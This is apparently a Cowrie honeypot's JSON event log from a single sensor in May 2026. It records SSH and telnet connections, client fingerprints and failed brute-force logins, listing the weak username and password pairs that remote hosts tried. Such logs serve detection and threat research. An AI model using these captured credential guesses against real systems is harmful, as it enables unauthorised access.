{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":13618,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fa416a617a9","protocol":"telnet","message":"New connection: 38.25.25.113:13618 (10.17.0.5:23) [session: 6fa416a617a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:52:06.956661Z"}
{"eventid":"cowrie.login.failed","username":"matthias","password":"matthias1","message":"login attempt [matthias/matthias1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:52:07.598360Z","src_ip":"213.209.159.56","session":"2b0ac72e2975","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"matthias","password":"matthias123","message":"login attempt [matthias/matthias123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:52:08.684280Z","src_ip":"213.209.159.56","session":"2b0ac72e2975","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"matthias","password":"matthias1234","message":"login attempt [matthias/matthias1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:52:09.769574Z","src_ip":"213.209.159.56","session":"2b0ac72e2975","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"matthias","password":"matthias12345","message":"login attempt [matthias/matthias12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:52:10.855317Z","src_ip":"213.209.159.56","session":"2b0ac72e2975","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:52:11.940887Z","src_ip":"213.209.159.56","session":"2b0ac72e2975","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":13458,"dst_ip":"10.17.0.5","dst_port":22,"session":"3159dfa67474","protocol":"ssh","message":"New connection: 223.233.84.127:13458 (10.17.0.5:22) [session: 3159dfa67474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:52:15.243036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:52:15.248463Z","src_ip":"223.233.84.127","session":"3159dfa67474","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:52:15.656537Z","src_ip":"223.233.84.127","session":"3159dfa67474","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"p@ssw0rd","message":"login attempt [test/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:52:16.747657Z","src_ip":"223.233.84.127","session":"3159dfa67474","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":39872,"dst_ip":"10.17.0.5","dst_port":22,"session":"616bbd22adf8","protocol":"ssh","message":"New connection: 165.227.170.113:39872 (10.17.0.5:22) [session: 616bbd22adf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:52:17.470827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:52:17.475230Z","src_ip":"165.227.170.113","session":"616bbd22adf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:52:17.559756Z","src_ip":"165.227.170.113","session":"616bbd22adf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nasty","message":"login attempt [admin/nasty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:52:17.927715Z","src_ip":"165.227.170.113","session":"616bbd22adf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:52:18.003086Z","src_ip":"223.233.84.127","session":"3159dfa67474","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:52:19.016666Z","src_ip":"165.227.170.113","session":"616bbd22adf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":32862,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b852abcdf76","protocol":"ssh","message":"New connection: 165.227.170.113:32862 (10.17.0.5:22) [session: 1b852abcdf76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:53:04.672804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:53:04.678090Z","src_ip":"165.227.170.113","session":"1b852abcdf76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:53:04.766036Z","src_ip":"165.227.170.113","session":"1b852abcdf76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"$BLANKPASS","message":"login attempt [guest/$BLANKPASS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:53:05.133100Z","src_ip":"165.227.170.113","session":"1b852abcdf76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:53:06.220646Z","src_ip":"165.227.170.113","session":"1b852abcdf76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":2987,"dst_ip":"10.17.0.5","dst_port":22,"session":"6599513fbd32","protocol":"ssh","message":"New connection: 223.233.84.127:2987 (10.17.0.5:22) [session: 6599513fbd32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:53:12.617075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:53:12.621647Z","src_ip":"223.233.84.127","session":"6599513fbd32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:53:12.918862Z","src_ip":"223.233.84.127","session":"6599513fbd32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"Aa123456","message":"login attempt [ftpuser1/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:53:13.973349Z","src_ip":"223.233.84.127","session":"6599513fbd32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:53:15.230037Z","src_ip":"223.233.84.127","session":"6599513fbd32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":36602,"dst_ip":"10.17.0.5","dst_port":22,"session":"42d15889f279","protocol":"ssh","message":"New connection: 165.227.170.113:36602 (10.17.0.5:22) [session: 42d15889f279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:53:50.280938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:53:50.285489Z","src_ip":"165.227.170.113","session":"42d15889f279","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:53:50.367271Z","src_ip":"165.227.170.113","session":"42d15889f279","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"teste","message":"login attempt [administrator/teste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:53:50.726265Z","src_ip":"165.227.170.113","session":"42d15889f279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:53:51.812377Z","src_ip":"165.227.170.113","session":"42d15889f279","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01599407196045,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:54:06.972525Z","src_ip":"38.25.25.113","session":"6fa416a617a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":29010,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb5cc61a9c30","protocol":"ssh","message":"New connection: 223.233.84.127:29010 (10.17.0.5:22) [session: bb5cc61a9c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:54:08.630807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:54:08.635619Z","src_ip":"223.233.84.127","session":"bb5cc61a9c30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:54:09.001322Z","src_ip":"223.233.84.127","session":"bb5cc61a9c30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"teste","message":"login attempt [administrator/teste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:54:10.135436Z","src_ip":"223.233.84.127","session":"bb5cc61a9c30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":56395,"dst_ip":"10.17.0.5","dst_port":23,"session":"a62e6586227f","protocol":"telnet","message":"New connection: 38.25.25.113:56395 (10.17.0.5:23) [session: a62e6586227f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:54:10.797557Z"}
{"eventid":"cowrie.session.closed","duration":0.534447431564331,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:54:11.331919Z","src_ip":"38.25.25.113","session":"a62e6586227f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:54:11.399190Z","src_ip":"223.233.84.127","session":"bb5cc61a9c30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.25.25.113","src_port":56795,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ca7414f7543","protocol":"telnet","message":"New connection: 38.25.25.113:56795 (10.17.0.5:23) [session: 1ca7414f7543]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:54:13.291141Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":35096,"dst_ip":"10.17.0.5","dst_port":22,"session":"e077e7349fd5","protocol":"ssh","message":"New connection: 165.227.170.113:35096 (10.17.0.5:22) [session: e077e7349fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:54:34.146384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:54:34.151596Z","src_ip":"165.227.170.113","session":"e077e7349fd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:54:34.238070Z","src_ip":"165.227.170.113","session":"e077e7349fd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qazXSW@","message":"login attempt [test/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:54:34.615630Z","src_ip":"165.227.170.113","session":"e077e7349fd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:54:35.705613Z","src_ip":"165.227.170.113","session":"e077e7349fd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.84.127","src_port":23833,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3150f1fe2a1","protocol":"ssh","message":"New connection: 223.233.84.127:23833 (10.17.0.5:22) [session: c3150f1fe2a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:55:03.613972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T19:55:03.619433Z","src_ip":"223.233.84.127","session":"c3150f1fe2a1","protocol":"ssh"}
